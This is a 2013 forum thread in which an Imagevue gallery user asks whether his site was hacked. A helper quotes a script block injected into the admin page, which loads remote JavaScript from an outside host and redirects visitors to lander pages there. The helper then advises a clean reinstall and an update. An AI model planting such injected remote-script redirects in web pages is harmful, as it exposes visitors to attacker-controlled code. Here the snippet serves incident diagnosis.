Page 1 of 1

Not at home - Did my site get hacked?

Posted: 05 Nov 2013, 06:23
by Buchberg
Hi guys.
Seems like my site is not loading correctly.
I have a sneaking suspicion that my site got hacked.
Can someone please verify? http://baka.dk

I'm at work right now, and am unable to restore the web page until I get home.

Any help is appreciated.

Re: Not at home - Did my site get hacked?

Posted: 05 Nov 2013, 06:48
by Buchberg
I'm fairly sure that my site did get hacked. Fortunately, I have numerous backups. I will see if I can figure out how to reestablish the page. I'm no tech wizard, so it's going to be a challenge. I don't even know where to start. Nor do I know HOW the site was hacked. :/

Re: Not at home - Did my site get hacked?

Posted: 05 Nov 2013, 09:36
by mjau-mjau
From where do you suspect that you have been hacked?

I did find something in the source of your admin that is not from Imagevue, but I can't seem to figure out what exactly it is:
Code
<script type="text/javascript">var gwloaded = false;</script>
    <script src="http://verification.mvpitsolutions.com/lander/Password%20Page_files/gwjs.js" type="text/javascript"></script>
    <script type="text/javascript">if (gwloaded==false){window.location = "http://verification.mvpitsolutions.com/lander/AdBlock%20Must%20be%20Disabled%20to%20View%20This%20Content.html";}</script>
<noscript><meta http-equiv="refresh" content="0;url=http://verification.mvpitsolutions.com/lander/JavaScript%20Required.html" /></noscript>
Basically its redirecting my page here, but the link doesn't work:
http://verification.mvpitsolutions.com/ ... ntent.html

As for the frontend, I can't find anything directly hacked or anything ... I can see the main SWF flash file is not loading, as it seems its corrupted or just not uploaded properly:
http://baka.dk/iv-includes/imagevue2.swf
Something wrong with that file https://d.pr/i/qUmk ... its not loading its not there ...

I would definitely consider a clean install. Just delete all files in your Imagevue folder, keep your "content" folder but just look through the folders to see if there are any unwanted files. You want to make sure your admin is password-protected immediately, and that you are on latest version of Imagevue. Not latest version or failure to set password may be a backdoor to access your website ...

Re: Not at home - Did my site get hacked?

Posted: 05 Nov 2013, 10:58
by Buchberg
Hi Karl!
Thank you for the quick reply!

Yeah, that's not anything I put on there. :/

Which files do I need to delete from the root folder to remove all old imagevue files?

Re: Not at home - Did my site get hacked?

Posted: 05 Nov 2013, 11:22
by mjau-mjau
Buchberg wrote:Which files do I need to delete from the root folder to remove all old imagevue files?
You have anything else than Imagevue on your website? If not, just delete everything ... EVERYTHING, except the "content" folder ... This folder simply contains your images and gallery folders. Then, just re-upload latest imagevue version all files and folders except the "content" folder, which you already have ...

Re: Not at home - Did my site get hacked?

Posted: 05 Nov 2013, 11:41
by Buchberg
Yes, I have some other stuff on my site, too.

I overwrote everything, though. Can you check to see if it's behaving like it's supposed to?

Again, thank you for your help! :)

Re: Not at home - Did my site get hacked?

Posted: 06 Nov 2013, 22:47
by mjau-mjau
Looks fine as far as I can see ... I would peep through your "content" folder if I was you, and make sure there are only jpg files and xml files there ... Not sure what else you got on your server of course, but since you don't know the point of entry, everyone is a suspect so be cautious!

Re: Not at home - Did my site get hacked?

Posted: 06 Nov 2013, 22:57
by Buchberg
Yessir, will check after work today. :)

Re: Not at home - Did my site get hacked?

Posted: 07 Nov 2013, 07:13
by Buchberg
Ok, it looks like the content folder only has the relevant files. :)